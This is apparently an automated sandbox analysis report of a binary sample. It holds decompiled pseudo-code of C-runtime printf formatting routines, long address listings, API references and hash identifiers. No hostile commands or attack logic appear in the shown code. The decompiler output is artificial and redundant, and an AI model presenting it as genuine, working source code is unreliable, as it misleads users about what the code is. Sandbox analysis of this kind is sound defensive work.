																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E520();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																				__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AFC0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004285E0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043520b
0x0043520b
0x0043520b
0x0043520b
0x0043520b
0x0043520b
0x0043520b
0x0043520b
0x00000000
0x0043527a
0x00000000
0x0043527a
0x00000000
0x0043527a
0x0043527a
0x00435282
0x004352a4
0x004352aa
0x004352cf
0x00435316
0x00435319
0x0043533a
0x0043533f
0x00435344
0x0043534a
0x0043531b
0x0043531f
0x00435324
0x00435327
0x00435328
0x0043532e
0x0043532e
0x004352d1
0x004352d4
0x004352d7
0x004352f9
0x004352fe
0x00435304
0x00435305
0x0043530b
0x004352d9
0x004352dd
0x004352e2
0x004352e6
0x004352e7
0x004352ed
0x004352ed
0x00435311
0x004352ac
0x004352b0
0x004352b5
0x004352b8
0x004352be
0x004352be
0x00435284
0x00435288
0x0043528d
0x00435290
0x00435296
0x00435296
0x00435356
0x00435398
0x0043539e
0x004353aa
0x00000000
0x00435358
0x00435358
0x00435358
0x0043535f
0x00000000
0x0043536c
0x0043536c
0x0043537a
0x0043537f
0x00435385
0x00435393
0x004353b0
0x004353b8
0x004353da
0x004353da
0x004353e4
0x004353f5
0x004353ff
0x00435401
0x00435401
0x004353e6
0x004353e6
0x004353e6
0x00435414
0x00435416
0x00435416
0x00435420
0x00435423
0x00435423
0x00435429
0x0043542c
0x00435431
0x00000000
0x00000000
0x00435441
0x00435444
0x0043544e
0x0043545d
0x00435466
0x0043547c
0x00435482
0x0043548f
0x0043549d
0x0043549d
0x004354ac
0x004354b4
0x004354b4
0x004354bc
0x004354c2
0x004354cb
0x004354d7
0x004354f0
0x004354f6
0x004354ff
0x004354ff
0x00000000
0x00435502
0x00000000
0x00435502
0x00000000
0x00435502
0x00000000
0x00435502
0x00000000
0x00435502
0x00000000
0x00435502
0x00000000
0x00435502
0x00435502
0x00435502
0x00435506
0x004356ed
0x004356f1
0x004356f9
0x004356fe
0x00435701
0x00435701
0x00435708
0x00435708
0x004347df
0x004347e5
0x004347f2
0x004347f7
0x00000000
0x0043480a
0x00434814
0x0043483b
0x00434822
0x00434833
0x00434833
0x00434814
0x00434845
0x0043484b
0x00434857
0x0043485a
0x00434868
0x0043486b
0x00434878
0x0043491d
0x00434923
0x00434930
0x00000000
0x00000000
0x00434936
0x0043493c
0x00000000
0x00434943
0x00434943
0x0043495b
0x00434960
0x00434965
0x00434a1f
0x00434a32
0x00434a37
0x00000000
0x0043496b
0x0043497e
0x00434983
0x00434989
0x0043498b
0x00434994
0x00434997
0x004349a3
0x004349a7
0x004349ad
0x004349af
0x004349b4
0x004349b6
0x004349bb
0x004349c0
0x004349c2
0x004349c7
0x004349cd
0x004349cf
0x004349cf
0x004349cd
0x004349d0
0x004349d7
0x00000000
0x004349d9
0x004349de
0x004349fa
0x00434a02
0x00434a0f
0x00434a14
0x00000000
0x00434a14
0x004349d7
0x00000000
0x00434a3f
0x00434a3f
0x00434a46
0x00434a49
0x00434a4c
0x00434a4f
0x00434a52
0x00434a55
0x00434a58
0x00434a5f
0x00434a66
0x00000000
0x00000000
0x00434a72
0x00434a72
0x00434a79
0x00434a85
0x00434a88
0x00434a95
0x00000000
0x00000000
0x00434a97
0x00434a97
0x00434a9d
0x00434a9d
0x00434aa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ae7
0x00434ae7
0x00434af1
0x00434b1b
0x00434b1e
0x00434b21
0x00434b28
0x00434b28
0x00434b2c
0x00434af3
0x00434af3
0x00434aff
0x00434b06
0x00434b08
0x00434b0b
0x00434b0e
0x00434b14
0x00434b16
0x00434b16
0x00434b19
0x00000000
0x00000000
0x00434b34
0x00434b34
0x00000000
0x00000000
0x00434b40
0x00434b40
0x00434b4a
0x00434b6d
0x00434b77
0x00434b77
0x00434b7b
0x00434b4c
0x00434b4c
0x00434b58
0x00434b5f
0x00434b61
0x00434b61
0x00434b68
0x00000000
0x00000000
0x00434b83
0x00434b83
0x00434b8a
0x00434b96
0x00434b99
0x00434ba6
0x00434cb9
0x00000000
0x00434cb9
0x00434bac
0x00434bac
0x00434bb2
0x00434bb2
0x00434bb9
0x00000000
0x00434bef
0x00434bef
0x00434bf2
0x00434bf8
0x00434c20
0x00434c20
0x00434c23
0x00434c29
0x00434c4e
0x00434c4e
0x00434c51
0x00434c57
0x00434c90
0x00434ca1
0x00000000
0x00434ca1
0x00434c59
0x00434c59
0x00434c5c
0x00434c62
0x00000000
0x00000000
0x00434c64
0x00434c64
0x00434c67
0x00434c6d
0x00000000
0x00000000
0x00434c6f
0x00434c6f
0x00434c72
0x00434c78
0x00000000
0x00000000
0x00434c7a
0x00434c7a
0x00434c7d
0x00434c83
0x00000000
0x00000000
0x00434c85
0x00434c85
0x00434c88
0x00434c8e
0x00434c92
0x00434c92
0x00000000
0x00434c92
0x00000000
0x00434c8e
0x00434c2b
0x00434c2b
0x00434c2e
0x00434c35
0x00000000
0x00000000
0x00434c37
0x00434c3a
0x00434c3d
0x00434c40
0x00434c43
0x00434c49
0x00000000
0x00434c49
0x00434bfa
0x00434bfa
0x00434bfd
0x00434c04
0x00000000
0x00000000
0x00434c06
0x00434c09
0x00434c0c
0x00434c0f
0x00434c12
0x00434c18
0x00000000
0x00000000
0x00434ca3
0x00434ca6
0x00434ca9
0x00000000
0x00000000
0x00434bc0
0x00434bc0
0x00434bc3
0x00434bc9
0x00434be1
0x00434be4
0x00434be7
0x00434bcb
0x00434bce
0x00434bd1
0x00434bd7
0x00434bdc
0x00434bdc
0x00000000
0x00000000
0x00434cae
0x00434cb1
0x00434cb6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ac1
0x00434ac4
0x00434ac7
0x00000000
0x00000000
0x00434acc
0x00434acf
0x00434ad4
0x00000000
0x00000000
0x00434ab6
0x00434ab6
0x00434ab9
0x00434abc
0x00000000
0x00000000
0x00434aab
0x00434aae
0x00434ab1
0x00000000
0x00000000
0x00434ad9
0x00434ad9
0x00434adc
0x00434adf
0x00000000
0x00000000
0x00434ae2
0x00000000
0x00000000
0x0043487e
0x00434880
0x0043488e
0x00434882
0x00434882
0x00434882
0x00434898
0x0043489e
0x004348ab
0x004348ad
0x004348b2
0x004348b4
0x004348b9
0x004348be
0x004348c0
0x004348c5
0x004348cb
0x004348cd
0x004348cd
0x004348cb
0x004348ce
0x004348d5
0x00000000
0x004348d7
0x004348dc
0x004348f8
0x00434900
0x0043490d
0x00434912
0x004357d1
0x004357de
0x004357de
0x004348d5
0x00434878
0x0043570d
0x00435714
0x0043572b
0x0043571f
0x0043571f
0x0043571f
0x00435735
0x0043573b
0x00435748
0x0043574a
0x0043574f
0x00435751
0x00435756
0x0043575b
0x0043575d
0x00435762
0x00435768
0x0043576a
0x0043576a
0x00435768
0x00435772
0x004357bd
0x004357c6
0x004357cb
0x00435774
0x00435779
0x00435795
0x0043579d
0x004357aa
0x004357af
0x004357af
0x00000000
0x00435772
0x0043550c
0x00435512
0x0043551c
0x00435531
0x00435546
0x00435548
0x0043554c
0x0043554c
0x00435533
0x00435533
0x00435537
0x00435537
0x0043551e
0x0043551e
0x00435522
0x00435522
0x0043551c
0x0043555c
0x00435568
0x0043557e
0x00435583
0x00435583
0x00435599
0x0043559e
0x004355a7
0x004355c5
0x004355ca
0x004355ca
0x004355d1
0x004356a5
0x004356b8
0x004356bd
0x00000000
0x004355e1
0x004355e1
0x004355e1
0x004355ee
0x004355f7
0x004355fd
0x004355fd
0x0043560c
0x00435614
0x00000000
0x00000000
0x0043561a
0x00435623
0x00435642
0x00435647
0x0043564a
0x00435659
0x00435666
0x00435671
0x00435671
0x00000000
0x0043567d
0x0043567d
0x00435696
0x0043569b
0x00000000
0x0043569b
0x00435666
0x004356a3
0x004356c0
0x004356c7
0x004356e5
0x004356ea
0x004356ea
0x00000000
0x004356c7
0x00434cbe
0x00434cbe
0x00434cc5
0x00434ccb
0x00434cd1
0x00434cd4
0x00434cda
0x00434ced
0x00434ced
0x00434cf4
0x00000000
0x0043504e
0x0043504e
0x00435055
0x0043505c
0x0043505f
0x00000000
0x00000000
0x00434cfb
0x00434cfe
0x00434d04
0x00434d09
0x00434d0e
0x00434d0e
0x00000000
0x00000000
0x00434e3b
0x00434e3e
0x00434e43
0x00434e48
0x00434e4e
0x00434e4e
0x00000000
0x00000000
0x0043521b
0x0043521b
0x00000000
0x00000000
0x00434da5
0x00434da5
0x00434db1
0x00434dbe
0x00434dcc
0x00434dcc
0x00434dd2
0x00434dd5
0x00434de1
0x00434e36
0x00000000
0x00434e36
0x00434dc0
0x00434dc0
0x00434dca
0x00434de6
0x00434de9
0x00434def
0x00434e17
0x00434e1e
0x00434e24
0x00434e27
0x00434e2a
0x00434e30
0x00434e33
0x00434df1
0x00434df1
0x00434df7
0x00434dfa
0x00434dfd
0x00434e03
0x00434e06
0x00434e09
0x00434e0b
0x00434e0e
0x00434e0e
0x00000000
0x00434def
0x00000000
0x00000000
0x00435065
0x00435068
0x0043506b
0x0043506e
0x00435074
0x00435077
0x00435082
0x0043508d
0x00435091
0x004350a8
0x004350af
0x004350b1
0x004350b1
0x004350b8
0x004350bf
0x004350d0
0x004350df
0x004350e6
0x004350fc
0x004350e8
0x004350e8
0x004350eb
0x004350f1
0x004350f7
0x004350f7
0x004350e6
0x00435106
0x00435109
0x0043510c
0x0043510f
0x00435112
0x00435115
0x0043511b
0x00435121
0x00435129
0x0043512a
0x0043512d
0x0043512e
0x00435131
0x00435132
0x00435139
0x0043513a
0x0043513d
0x0043513e
0x00435141
0x00435142
0x00435148
0x00435149
0x00435157
0x00435159
0x0043515f
0x00435165
0x0043516d
0x00435175
0x00435176
0x00435179
0x0043517a
0x00435188
0x0043518a
0x0043518a
0x0043518d
0x00435197
0x0043519c
0x004351a2
0x004351a4
0x004351ac
0x004351ad
0x004351b0
0x004351b1
0x004351c0
0x004351c2
0x004351c2
0x004351a2
0x004351c5
0x004351c8
0x004351ce
0x004351d3
0x004351d9
0x004351df
0x004351e2
0x004351e2
0x004351e5
0x004351f1
0x00000000
0x004351f1
0x00435093
0x00435093
0x0043509d
0x00000000
0x00000000
0x0043509f
0x0043509f
0x00000000
0x0043509f
0x00435084
0x00435084
0x00000000
0x00000000
0x00434d11
0x00434d14
0x00434d1a
0x00434d75
0x00434d7d
0x00434d84
0x00434d8a
0x00434d90
0x00434d1c
0x00434d1c
0x00434d26
0x00434d2a
0x00434d32
0x00434d39
0x00434d46
0x00434d4d
0x00434d59
0x00434d66
0x00434d68
0x00434d68
0x00434d6f
0x00434d97
0x00434d9d
0x00000000
0x00000000
0x004351f9
0x004351fc
0x004351ff
0x00435202
0x00000000
0x00000000
0x00434f57
0x00434f57
0x00434f63
0x00434f70
0x0043501a
0x0043501d
0x00435020
0x00435034
0x0043503a
0x00435040
0x00435022
0x00435022
0x0043502f
0x0043502f
0x00435042
0x00000000
0x00435042
0x00434f76
0x00434f76
0x00434f78
0x00434f86
0x00434f7a
0x00434f7a
0x00434f7a
0x00434f90
0x00434f96
0x00434fa3
0x00434fa5
0x00434faa
0x00434fac
0x00434fb1
0x00434fb6
0x00434fb8
0x00434fbd
0x00434fc3
0x00434fc5
0x00434fc5
0x00434fc3
0x00434fcd
0x00435015
0x00000000
0x00434fcf
0x00434fcf
0x00434fd4
0x00434ff0
0x00434ff8
0x00435002
0x00435005
0x0043500a
0x00000000
0x0043500a
0x00000000
0x0043525c
0x0043525c
0x00435266
0x0043526c
0x00435271
0x00435277
0x00435277
0x00000000
0x00000000
0x00435214
0x00435214
0x00000000
0x00000000
0x00434e51
0x00434e55
0x00434e63
0x00434e66
0x00434e57
0x00434e57
0x00434e57
0x00434e6c
0x00434e72
0x00434e78
0x00434e84
0x00434e8a
0x00434e90
0x00434ef7
0x00434efb
0x00434efd
0x00434f03
0x00434f03
0x00434f06
0x00434f09
0x00434f0f
0x00434f0f
0x00434f0f
0x00434f1b
0x00434f1e
0x00434f26
0x00000000
0x00000000
0x00434f28
0x00434f28
0x00434f2e
0x00434f33
0x00000000
0x00000000
0x00434f35
0x00434f3b
0x00434f3e
0x00434f3e
0x00434f46
0x00434f4c
0x00434f4f
0x00000000
0x00434e92
0x00434e92
0x00434e96
0x00434e98
0x00434e9d
0x00434e9d
0x00434ea0
0x00434ea7
0x00434eaa
0x00434eb0
0x00434eb0
0x00434eb0
0x00434ebc
0x00434ebf
0x00434ec7
0x00000000
0x00000000
0x00434ec9
0x00434ec9
0x00434ecf
0x00434ed4
0x00000000
0x00000000
0x00434ed6
0x00434edc
0x00434edf
0x00434edf
0x00434ee7
0x00434eed
0x00434ef0
0x00434ef2
0x00434f52
0x00000000
0x00434f52
0x00000000
0x00000000
0x00000000
0x00435227
0x00435227
0x00435231
0x00435231
0x0043523b
0x00435241
0x00435243
0x0043524d
0x00435250
0x00435253
0x00435253
0x00000000
0x00000000
0x00000000
0x00000000
0x00434cf4
0x00435502
0x00435502
0x00435502
0x00435502
0x00435502
0x00435502
0x00435502
0x0043535f
0x00435356
0x0043527a
0x0043527a
0x0043527a

APIs

_get_int64_arg.LIBCMTD ref: 00435288
_get_int64_arg.LIBCMTD ref: 004352B0
__aullrem.LIBCMT ref: 00435455
__aulldiv.LIBCMT ref: 00435477

Strings

9, xrefs: 00435488

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 71cd83e82736ce390d31a46b5e77419e51acbf520845a3a38bbba953b4c99741
Instruction ID: 57146a61e80b91fbfcace9f9b7f07d7d0452e0e451e7e19ee092386a75735c4c
Opcode Fuzzy Hash: 71cd83e82736ce390d31a46b5e77419e51acbf520845a3a38bbba953b4c99741
Instruction Fuzzy Hash: F341D2B1D15A28DFDB24CF58C889BAEB7B5FB58300F2091DAE409A7240D7789E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427ECC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00427ECC(signed int __edx) {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t611;
				signed int _t613;
				signed int _t615;
				signed int _t622;
				signed int _t663;
				signed int _t666;
				void* _t668;
				void* _t669;
				signed int _t675;

				L0:
				while(1) {
					L0:
					_t611 = __edx;
					 *(_t666 - 8) = 0xa;
					L144:
					while(1) {
						L144:
						while(1) {
							L144:
							while(1) {
								L144:
								if(( *(_t666 - 0x10) & 0x00008000) == 0) {
									_t613 =  *(_t666 - 0x10) & 0x00001000;
									if(_t613 == 0) {
										if(( *(_t666 - 0x10) & 0x00000020) == 0) {
											_t615 =  *(_t666 - 0x10) & 0x00000040;
											if(_t615 == 0) {
												_t476 = E004285E0(_t666 + 0x14);
												_t669 = _t668 + 4;
												 *(_t666 - 0x2b0) = _t476;
												 *(_t666 - 0x2ac) = 0;
											} else {
												_t549 = E004285E0(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t549;
												 *(_t666 - 0x2ac) = _t615;
											}
										} else {
											_t663 =  *(_t666 - 0x10) & 0x00000040;
											if(_t663 == 0) {
												_t550 = E004285E0(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t550 & 0x0000ffff;
												 *(_t666 - 0x2ac) = _t663;
											} else {
												_t553 = E004285E0(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t553;
												 *(_t666 - 0x2ac) = _t663;
											}
										}
									} else {
										_t556 = E00428600(_t666 + 0x14);
										_t669 = _t668 + 4;
										 *(_t666 - 0x2b0) = _t556;
										 *(_t666 - 0x2ac) = _t613;
									}
								} else {
									_t557 = E00428600(_t666 + 0x14);
									_t669 = _t668 + 4;
									 *(_t666 - 0x2b0) = _t557;
									 *(_t666 - 0x2ac) = _t611;
								}
								if(( *(_t666 - 0x10) & 0x00000040) == 0) {
									L161:
									 *(_t666 - 0x2b8) =  *(_t666 - 0x2b0);
									 *(_t666 - 0x2b4) =  *(_t666 - 0x2ac);
									goto L162;
								} else {
									L157:
									_t675 =  *(_t666 - 0x2ac);
									if(_t675 > 0 || _t675 >= 0 &&  *(_t666 - 0x2b0) >= 0) {
										goto L161;
									} else {
										L160:
										asm("adc edx, 0x0");
										 *(_t666 - 0x2b8) =  ~( *(_t666 - 0x2b0));
										 *(_t666 - 0x2b4) =  ~( *(_t666 - 0x2ac));
										 *(_t666 - 0x10) =  *(_t666 - 0x10) | 0x00000100;
										L162:
										if(( *(_t666 - 0x10) & 0x00008000) == 0 && ( *(_t666 - 0x10) & 0x00001000) == 0) {
											 *(_t666 - 0x2b4) =  *(_t666 - 0x2b4) & 0x00000000;
										}
										if( *(_t666 - 0x30) >= 0) {
											 *(_t666 - 0x10) =  *(_t666 - 0x10) & 0xfffffff7;
											if( *(_t666 - 0x30) > 0x200) {
												 *(_t666 - 0x30) = 0x200;
											}
										} else {
											 *(_t666 - 0x30) = 1;
										}
										if(( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
											 *(_t666 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t666 - 4)) = _t666 - 0x49;
										while(1) {
											L172:
											_t621 =  *(_t666 - 0x30) - 1;
											 *(_t666 - 0x30) =  *(_t666 - 0x30) - 1;
											if( *(_t666 - 0x30) <= 0 && ( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
												break;
											}
											L174:
											asm("cdq");
											_t622 =  *(_t666 - 0x2b8);
											 *((intOrPtr*)(_t666 - 0x2a4)) = E00430A00(_t622,  *(_t666 - 0x2b4),  *(_t666 - 8), _t621) + 0x30;
											asm("cdq");
											 *(_t666 - 0x2b8) = E00430A80( *(_t666 - 0x2b8),  *(_t666 - 0x2b4),  *(_t666 - 8), _t622);
											 *(_t666 - 0x2b4) = _t622;
											if( *((intOrPtr*)(_t666 - 0x2a4)) > 0x39) {
												 *((intOrPtr*)(_t666 - 0x2a4)) =  *((intOrPtr*)(_t666 - 0x2a4)) +  *((intOrPtr*)(_t666 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) =  *((intOrPtr*)(_t666 - 0x2a4));
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
										}
										L177:
										 *((intOrPtr*)(_t666 - 0x24)) = _t666 - 0x49 -  *((intOrPtr*)(_t666 - 4));
										 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) + 1;
										if(( *(_t666 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t666 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t666 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) = 0x30;
											 *((intOrPtr*)(_t666 - 0x24)) =  *((intOrPtr*)(_t666 - 0x24)) + 1;
										}
										L181:
										while(1) {
											L181:
											while(1) {
												L181:
												while(1) {
													L181:
													while(1) {
														L181:
														while(1) {
															L181:
															while(1) {
																L181:
																while(1) {
																	do {
																		L181:
																		if( *((intOrPtr*)(_t666 - 0x28)) != 0) {
																			L207:
																			if( *(_t666 - 0x20) != 0) {
																				L0041C6E0( *(_t666 - 0x20), 2);
																				_t669 = _t669 + 8;
																				 *(_t666 - 0x20) = 0;
																			}
																			while(1) {
																				L209:
																				 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																				 *((intOrPtr*)(_t666 + 0xc)) =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																				if( *(_t666 - 0x251) == 0 ||  *(_t666 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t666 - 0x251) < 0x20 ||  *(_t666 - 0x251) > 0x78) {
																						 *(_t666 - 0x2fc) = 0;
																					} else {
																						 *(_t666 - 0x2fc) =  *( *(_t666 - 0x251) + 0x404460) & 0x0000000f;
																					}
																				}
																				L7:
																				 *(_t666 - 0x250) =  *(_t666 - 0x2fc);
																				_t19 =  *(_t666 - 0x250) * 8; // 0x6000006
																				 *(_t666 - 0x25c) =  *( *(_t666 - 0x25c) + _t19 + 0x404480) >> 4;
																				 *(_t666 - 0x300) =  *(_t666 - 0x25c);
																				if( *(_t666 - 0x300) > 7) {
																					continue;
																				}
																				L8:
																				switch( *((intOrPtr*)( *(_t666 - 0x300) * 4 +  &M004283F8))) {
																					case 0:
																						L9:
																						 *(_t666 - 0xc) = 0;
																						_t502 = E00431490( *(_t666 - 0x251) & 0x000000ff, E0041AFF0(_t666 - 0x40));
																						_t671 = _t669 + 8;
																						if(_t502 == 0) {
																							L15:
																							E00428500( *(_t666 - 0x251) & 0x000000ff,  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t669 = _t671 + 0xc;
																							goto L209;
																						} else {
																							E00428500( *((intOrPtr*)(_t666 + 8)),  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t671 = _t671 + 0xc;
																							_t582 =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							_t629 =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																							 *((intOrPtr*)(_t666 + 0xc)) = _t629;
																							asm("sbb eax, eax");
																							 *(_t666 - 0x278) =  ~( ~( *(_t666 - 0x251)));
																							if(_t629 == 0) {
																								_push(L"(ch != _T(\'\\0\'))");
																								_push(0);
																								_push(0x486);
																								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																								_push(2);
																								_t514 = L0041E520();
																								_t671 = _t671 + 0x14;
																								if(_t514 == 1) {
																									asm("int3");
																								}
																							}
																							L13:
																							if( *(_t666 - 0x278) != 0) {
																								goto L15;
																							} else {
																								 *((intOrPtr*)(L00423010(_t582))) = 0x16;
																								E00422DA0(_t558, _t582, _t664, _t665, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																								 *(_t666 - 0x2e4) = 0xffffffff;
																								E0041AFC0(_t666 - 0x40);
																								_t497 =  *(_t666 - 0x2e4);
																								L211:
																								return E0042BF30(_t497, _t558,  *(_t666 - 0x48) ^ _t666, _t629, _t664, _t665);
																							}
																						}
																					case 1:
																						L16:
																						 *(__ebp - 0x2c) = 0;
																						__edx =  *(__ebp - 0x2c);
																						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																						__eax =  *(__ebp - 0x28);
																						 *(__ebp - 0x18) =  *(__ebp - 0x28);
																						__ecx =  *(__ebp - 0x18);
																						 *(__ebp - 0x1c) = __ecx;
																						 *(__ebp - 0x10) = 0;
																						 *(__ebp - 0x30) = 0xffffffff;
																						 *(__ebp - 0xc) = 0;
																						goto L209;
																					case 2:
																						L17:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						if( *(__ebp - 0x304) > 0x10) {
																							goto L24;
																						}
																						L18:
																						__ecx =  *(__ebp - 0x304);
																						_t63 = __ecx + 0x428430; // 0x498d04
																						__edx =  *_t63 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428418))) {
																							case 0:
																								goto L21;
																							case 1:
																								goto L22;
																							case 2:
																								goto L20;
																							case 3:
																								goto L19;
																							case 4:
																								goto L23;
																							case 5:
																								goto L24;
																						}
																					case 3:
																						L25:
																						__edx =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							__eax =  *(__ebp - 0x18);
